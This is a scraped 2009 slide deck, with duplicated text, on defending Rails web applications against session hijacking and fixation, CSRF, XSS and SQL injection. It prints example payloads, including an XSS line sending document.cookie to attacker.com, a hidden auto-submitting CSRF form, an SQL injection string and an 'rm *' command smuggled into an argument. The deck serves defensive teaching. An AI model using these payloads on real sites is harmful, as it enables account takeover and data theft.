Upload
tony-amoyal
View
2.830
Download
0
Tags:
Embed Size (px)
DESCRIPTION
Let's face it, the web can be a dangerous place. So how do you protect your users and yourself? Tony Amoyal answers that and more as he shows how Rails can help protect against miscreants.
Citation preview
Defending Against Defending Against Attacks Attacks
With RailsWith Rails
Tony AmoyalTony Amoyal
Web Application ConsultantWeb Application Consultant
www.tonyamoyal.comwww.tonyamoyal.com
July 14, 2009July 14, 2009
General PrinciplesGeneral Principles► Kerckhoff's Principle – Always assume the Kerckhoff's Principle – Always assume the
method of security is knownmethod of security is known
► Always validate on the server side, even if Always validate on the server side, even if you validate on the client sideyou validate on the client side
► Whitelist, don't BlacklistWhitelist, don't Blacklist
AuthenticationAuthentication
Step 1: Step 1:
One-way hash all passwordsOne-way hash all passwords
MD5 MD5 →→ 128-bit hash values ( 2^128 tries) 128-bit hash values ( 2^128 tries)
SHA SHA →→ 160-bit hash values (2^160 tries) 160-bit hash values (2^160 tries)
Secure?Secure?
Why isn’t hashing Why isn’t hashing enough?enough?
Same passwords hash to same value Same passwords hash to same value
→ → Attacker can easily determine if multiple Attacker can easily determine if multiple users users
have the same passwordhave the same password
Very weak against Rainbow attackVery weak against Rainbow attack
Use SaltUse Salt
► Ensures same password will hash to Ensures same password will hash to different valuesdifferent values
► Rainbow tables are useless, attacker would Rainbow tables are useless, attacker would essentially have to compute a rainbow essentially have to compute a rainbow table for each password with the new salttable for each password with the new salt
People Use Crappy PasswordsPeople Use Crappy Passwords
20 common passwords from MySpace phishing 20 common passwords from MySpace phishing attack:attack:
password1, abc123, myspace1, password, blink182,
qwerty1, ****you, 123abc, baseball1, football1,123456, soccer, monkey1, liverpool1, princess1,jordan23, slipknot1, superman1, iloveyou1,
monkey
( http://www.schneier.com/blog/archives/2006/12/realworld_passw
.html )
Restful AuthenticationRestful AuthenticationGreat way to implement authentication in Great way to implement authentication in
RailsRails
► Easy setup with hashes and saltsEasy setup with hashes and salts► Extra protection for crappy passwords Extra protection for crappy passwords
with SITE_KEY and stretchingwith SITE_KEY and stretching
What Else Can We Do?What Else Can We Do?
It is difficult to protect accounts with bad It is difficult to protect accounts with bad passwordspasswords
► Always provide a password strength meterAlways provide a password strength meter
► Maybe only accept passwords at a certain Maybe only accept passwords at a certain strength levelstrength level
Mass AssignmentMass Assignment
Rails let's us do stuff like…Rails let's us do stuff like…
Not secure if we have attributes like Not secure if we have attributes like is_admin because an attacker can POST is_admin because an attacker can POST with…with…
Solve By WhitelistingSolve By Whitelisting
For previous example:For previous example:
Can also use attr_protected to BlacklistCan also use attr_protected to Blacklist
Accessing RecordsAccessing Records
LoggingLogging
Tell Rails not to log sensitive dataTell Rails not to log sensitive data
Security Through Obscurity?Security Through Obscurity?
My default server response header:My default server response header:
““Apache/2.2.11 (Unix) mod_ssl/2.2.8 Apache/2.2.11 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8g DAV/2 PHP/5.3.0 OpenSSL/0.9.8g DAV/2 PHP/5.3.0 Phusion_Passenger/2.2.2”Phusion_Passenger/2.2.2”
Add this to your Apache conf:Add this to your Apache conf:
ServerTokens ProdServerTokens Prod
→→New server response header:New server response header:
““Apache”Apache”
More Obscurity?More Obscurity?
Turn your server signature offTurn your server signature off
Add this to the bottom of your Apache conf:Add this to the bottom of your Apache conf:
ServerSignature OffServerSignature Off
Stack TracesStack Traces
Rails handles this but good to know aboutRails handles this but good to know about
config/environments/development.rbconfig/environments/development.rb
config/environments/production.rbconfig/environments/production.rb
Want prod error message in dev? In app Want prod error message in dev? In app controller:controller:
Time For The Scary Stuff...Time For The Scary Stuff...
Session HijackingSession Hijacking
How does it work?How does it work?
Session ID's are stored on client machinesSession ID's are stored on client machines
1) Attacker gets SID from authenticated user1) Attacker gets SID from authenticated user
2) Attacker presents SID to web app as his 2) Attacker presents SID to web app as his ownown
How Does Attacker Get SID?How Does Attacker Get SID?
1) Guess the Session ID1) Guess the Session ID
2) Network sniffing2) Network sniffing
3) Finding cookies on shared computer3) Finding cookies on shared computer
4) Cross-site scripting (more on this later)4) Cross-site scripting (more on this later)
5) Session fixation (more on this later)5) Session fixation (more on this later)
Guessing the Session IDGuessing the Session ID
Rails makes this very difficult by making Rails makes this very difficult by making Session ID's very randomSession ID's very random
SID's are hashes of string containing:SID's are hashes of string containing:► current timecurrent time► random number between 0 and 1random number between 0 and 1► PID of ruby interpreter (another random PID of ruby interpreter (another random
number)number)► constant stringconstant string
Sniffing the Session IDSniffing the Session ID
Possible on an unencrypted wireless LAN Possible on an unencrypted wireless LAN
( internet cafe )( internet cafe )
Solution: provide SSL connectionSolution: provide SSL connection
Shared computer problemShared computer problem
Consider public computersConsider public computers
Solution: Solution:
Provide a logout button to clear the sessionProvide a logout button to clear the session
Good example – Bank Of America:Good example – Bank Of America:► Provides a low session expiration time with Provides a low session expiration time with
pop-up warningpop-up warning
Cookie SecurityCookie Security
Rails uses CookieStore by default as of Rails uses CookieStore by default as of v2.2v2.2
Can users tamper with the cookies?Can users tamper with the cookies?
Only if they have the secret key:Only if they have the secret key:config/environment.rbconfig/environment.rb
Cookie PrecautionsCookie Precautions
Don't store in the session:Don't store in the session:► Sensitive DataSensitive Data
Cookie data is Cookie data is notnot encryptedencrypted, it is , it is base64 base64 encodedencoded! ! → → clients can read clients can read cookiescookies
► Transient Data (account balance)Transient Data (account balance)
Vulnerable to replay attack...see next slideVulnerable to replay attack...see next slide
► Use a long secret key: 128 charactersUse a long secret key: 128 characters
What is a Replay Attack?What is a Replay Attack?
When a client presents an old cookie that is When a client presents an old cookie that is valid and convinces the server that it is valid and convinces the server that it is currentcurrent
Use a nonce? …probably overkillUse a nonce? …probably overkill
(if not, use memcached?)(if not, use memcached?)
► Best solution:Best solution:
Don't keep transient data that is sensitive Don't keep transient data that is sensitive (account balance) in the session(account balance) in the session
Session FixationSession Fixation
1) Attacker gets a valid session1) Attacker gets a valid session
2) Attacker forces his victim to use valid 2) Attacker forces his victim to use valid sessionsession
Now attacker has access to your sessionNow attacker has access to your session
Good Example from Good Example from WikipediaWikipedia
Given:Given:
► Alice has bank account at http://un.safe.lyAlice has bank account at http://un.safe.ly
► Mallory wants Alice's moneyMallory wants Alice's money
► Alice has reasonable amount of trust in Alice has reasonable amount of trust in MalloryMallory
The AttackThe Attack
1) Mallory knows the http://un.safe.ly 1) Mallory knows the http://un.safe.ly accepts SID's from query stringsaccepts SID's from query strings
2) Mallory sends Alice an email 2) Mallory sends Alice an email
““Check out this new cool bank feature Check out this new cool bank feature http://un.safe.ly/?SID=GOTCHA” http://un.safe.ly/?SID=GOTCHA”
3) Alice visits the link and logs in3) Alice visits the link and logs in
4) Mallory visits the link and has access to 4) Mallory visits the link and has access to Alice's accountAlice's account
Other AttacksOther Attacks
You can also use XSS to set a victim's You can also use XSS to set a victim's session IDsession ID
<script><script>
document.cookie="_session_id=PUT_SID_HERE";document.cookie="_session_id=PUT_SID_HERE";
</script></script>
OROR
<meta http-equiv=Set-Cookie <meta http-equiv=Set-Cookie content="_session_id=PUT_SID_HERE">content="_session_id=PUT_SID_HERE">
Fixation MitigationFixation Mitigation
In Rails, one line of code:In Rails, one line of code:
reset_sessionreset_session
In last example, Alice's session would have In last example, Alice's session would have been reset upon loginbeen reset upon login
The tradeoff? Forms will expire The tradeoff? Forms will expire (read more: (read more:
vendor/plugins/restful_authentication/notes/Tradeoffs.txt )vendor/plugins/restful_authentication/notes/Tradeoffs.txt )
Restful Authentication Restful Authentication ExampleExample
app/controllers/sessions_controller.rbapp/controllers/sessions_controller.rb
Read about tradeoffs: Read about tradeoffs: plugins/restful_authentication/notes/Tradeoplugins/restful_authentication/notes/Tradeoffs.txtffs.txt
Cross-Site Request ForgeryCross-Site Request Forgery
What is it?What is it?
Let's start with a great example from Rails Let's start with a great example from Rails GuidesGuides
CSRF ExampleCSRF Example
1) Attacker posts on a message board1) Attacker posts on a message board<img src="http://www.webapp.com/project/1/destroy"> <img src="http://www.webapp.com/project/1/destroy">
2) Bob recently used webapp.com, session still 2) Bob recently used webapp.com, session still alivealive
3) Bob visits message board3) Bob visits message board
4) Browser loads image, sending cookie from 4) Browser loads image, sending cookie from Bob's machineBob's machine
5) webapp verifies cookie credentials and destroys 5) webapp verifies cookie credentials and destroys project with ID=1project with ID=1
6) No image displayed on forum6) No image displayed on forum
CSRF MitigationCSRF Mitigation
1) Require POST methods where 1) Require POST methods where applicableapplicable
config/routes.rbconfig/routes.rb
app/controllers/projects_controller.rbapp/controllers/projects_controller.rb
Still not secure, POST requests can be Still not secure, POST requests can be sent automatically on eventssent automatically on events
Automatic POST RequestAutomatic POST Request
<a href="http://www.harmless.com/" onclick=" <a href="http://www.harmless.com/" onclick=" var f = document.createElement('form'); var f = document.createElement('form'); f.style.display = 'none'; f.style.display = 'none'; this.parentNode.appendChild(f); f.method = this.parentNode.appendChild(f); f.method = 'POST'; f.action = 'POST'; f.action = 'http://www.example.com/account/destroy'; 'http://www.example.com/account/destroy'; f.submit(); return false;">To the harmless f.submit(); return false;">To the harmless survey</a>survey</a>
OROR
<img src="http://www.harmless.com/img" <img src="http://www.harmless.com/img" width="400" height="400" width="400" height="400" onmouseover="..." />onmouseover="..." />
Another Security MeasureAnother Security Measure
2) Add a security token in forms2) Add a security token in forms
Rails automatically includes security tokens in Rails automatically includes security tokens in formsforms
app/controllers/application_controller.rbapp/controllers/application_controller.rb
Use secret if not using the CookieStoreUse secret if not using the CookieStore
Cross-Site Scripting ( XSS )Cross-Site Scripting ( XSS )
Most CommonMost Common
Most DevastatingMost Devastating
510,000 Attacks510,000 Attacks
in April, 2008 in April, 2008
The XSS AttackThe XSS Attack
1) Attacker visits website and injects 1) Attacker visits website and injects some code through web form or other some code through web form or other meansmeans
2) Web application saves injected code 2) Web application saves injected code and displays it later to a victimand displays it later to a victim
The PossibilitiesThe Possibilities
► Steal cookiesSteal cookies► Hijack sessionsHijack sessions► Redirect victim to malicious websiteRedirect victim to malicious website► Display advertisements to benefit Display advertisements to benefit
attackerattacker► Change elements on website to get Change elements on website to get
credentialscredentials► Install malware through browser security Install malware through browser security
holesholes
XSS ExampleXSS Example
Getting cookie informationGetting cookie information
<script>document.write('<img <script>document.write('<img src="http://www.attacker.com/' + document.cookie src="http://www.attacker.com/' + document.cookie + '">');</script>+ '">');</script>
OROR
<img src=javascript:document.write('<img <img src=javascript:document.write('<img src="http://www.attacker.com/' + document.cookie src="http://www.attacker.com/' + document.cookie + '">')>+ '">')>
OROR
<table background="..."><table background="...">
Now the attacker checks his server logsNow the attacker checks his server logs
Get User CredentialsGet User Credentials
Use an iframe to present a form to be Use an iframe to present a form to be submitted to your serversubmitted to your server
<iframe name="LoginForm" <iframe name="LoginForm" src="http://58.xx.xxx.xxx"></iframe>src="http://58.xx.xxx.xxx"></iframe>
XSS MitigationXSS Mitigation
1) Whitelist input filtering1) Whitelist input filtering
Good reference:Good reference:http://apidock.com/rails/ActionView/Helpers/SanitizeHelper/http://apidock.com/rails/ActionView/Helpers/SanitizeHelper/
sanitizesanitize
2) Escape all output of your application2) Escape all output of your application
In your views...In your views...<%=h user_input %> # done by default in Rails <%=h user_input %> # done by default in Rails
33
SQL InjectionSQL Injection
An attack that manipulates SQL An attack that manipulates SQL queries performed by a web queries performed by a web application on its database.application on its database.
SQL Injection ExampleSQL Injection Example
Given: My application has Reminder objects Given: My application has Reminder objects which belong to Band objectswhich belong to Band objects
Reminder.find(:all, Reminder.find(:all,
:conditions => "band_name = '#{band_name}'"):conditions => "band_name = '#{band_name}'")
What if an attacker enters for their What if an attacker enters for their band_name:band_name:
' OR 1=1 OR '' OR 1=1 OR '
Resulting SQL:Resulting SQL: SELECT * FROM `reminders` WHERE (band_name = '' SELECT * FROM `reminders` WHERE (band_name = ''
OR 1=1 OR '')OR 1=1 OR '')
SQL Injection MitigationSQL Injection Mitigation
In Rails useIn Rails useReminder.find(:all, :conditions => ["band_name Reminder.find(:all, :conditions => ["band_name
= ?", band_name])= ?", band_name])
Resulting SQL:Resulting SQL:SELECT * FROM `reminders` WHERE (band_name = '\' SELECT * FROM `reminders` WHERE (band_name = '\'
OR 1=1 OR\'')OR 1=1 OR\'')
', ”, NULL, and line breaks are escaped', ”, NULL, and line breaks are escaped
→ → Query returns nothingQuery returns nothing
But Obviously...But Obviously...
Do this:Do this:
@reminders = @band.reminders@reminders = @band.reminders
The previous tip works great for The previous tip works great for complicated custom queriescomplicated custom queries
Other InjectionsOther Injections
1) Ajax1) AjaxReturning a string in Ajax call? Escape in controllerReturning a string in Ajax call? Escape in controller
2) RJS2) RJSescape_javascript() within JS and h() within HTMLescape_javascript() within JS and h() within HTML
3) CSS 3) CSS Some browsers allow HTML/JS in CSSSome browsers allow HTML/JS in CSS<div id="abc" expr="alert('!!!')" <div id="abc" expr="alert('!!!')"
style="background:url('javascript:eval(document.all.abc.expr)')">style="background:url('javascript:eval(document.all.abc.expr)')">
...works just like HTML/JS injection...works just like HTML/JS injection
More InjectionsMore Injections
4) Textile4) TextileUse whitelist filtering!Use whitelist filtering!RedCloth.new("<a RedCloth.new("<a
href='javascript:alert(1)'>hello</a>", href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html[:filter_html]).to_html
# => "<p><a # => "<p><a
href="javascript:alert(1)">hello</a></p>"href="javascript:alert(1)">hello</a></p>"
5) Command Line5) Command Linesystem("/bin/echo","hello; rm *")system("/bin/echo","hello; rm *")
# prints "hello; rm *" and does not delete files# prints "hello; rm *" and does not delete files
Even More InjectionsEven More Injections
6) Header6) Header► escape referer, user-agent, cookie, etc. if you escape referer, user-agent, cookie, etc. if you
display these headers on a pagedisplay these headers on a page► be aware of how you build headers because be aware of how you build headers because
injections can rewrite headers and inject injections can rewrite headers and inject arbitrary headers (up to Rails 2.1.2)arbitrary headers (up to Rails 2.1.2)
► more in Rails Guides, section 8.9more in Rails Guides, section 8.9
7) Encoding7) Encoding► Browser understands encoding, but your app Browser understands encoding, but your app
does not therefore sanitize method is uselessdoes not therefore sanitize method is useless
Regular ExpressionsRegular Expressions
Use \A and \Z, not ^ and $Use \A and \Z, not ^ and $
The problem?The problem?file.txt%0A<script>alert('hello')</script>file.txt%0A<script>alert('hello')</script>
passes the test because %0A is a newlinepasses the test because %0A is a newline
Result: Result: "file.txt\n<script>alert('hello')</script>""file.txt\n<script>alert('hello')</script>"
Whitelist, Don't BlacklistWhitelist, Don't Blacklist
► before_filter :only => [...]before_filter :only => [...] instead of instead of before_filter :except => [...]before_filter :except => [...]►Use Use attr_accessibleattr_accessible instead of instead of attr_protectedattr_protected
► Only allow certain tags when stripping Only allow certain tags when stripping instead of allowing all tags exceptinstead of allowing all tags except
►Don't try to correct user inputDon't try to correct user input
This will make the attack work: This will make the attack work: "<sc<script>ript>".gsub("<script>", "")"<sc<script>ript>".gsub("<script>", "")
Some LinksSome Links
► http://guides.rubyonrails.org/security.htmlhttp://guides.rubyonrails.org/security.html► http://en.wikipedia.org/wiki/Session_fixationhttp://en.wikipedia.org/wiki/Session_fixation► http://www.rorsecurity.info/journal/http://www.rorsecurity.info/journal/
2007/4/15/session-fixation-in-rails.html2007/4/15/session-fixation-in-rails.html► http://github.com/technoweenie/restful-http://github.com/technoweenie/restful-
authentication/authentication/► http://www.matasano.com/log/958/enough-http://www.matasano.com/log/958/enough-
with-the-rainbow-tables-what-you-need-to-with-the-rainbow-tables-what-you-need-to-know-about-secure-password-schemes/know-about-secure-password-schemes/
My Blog: www.tonyamoyal.com My Blog: www.tonyamoyal.com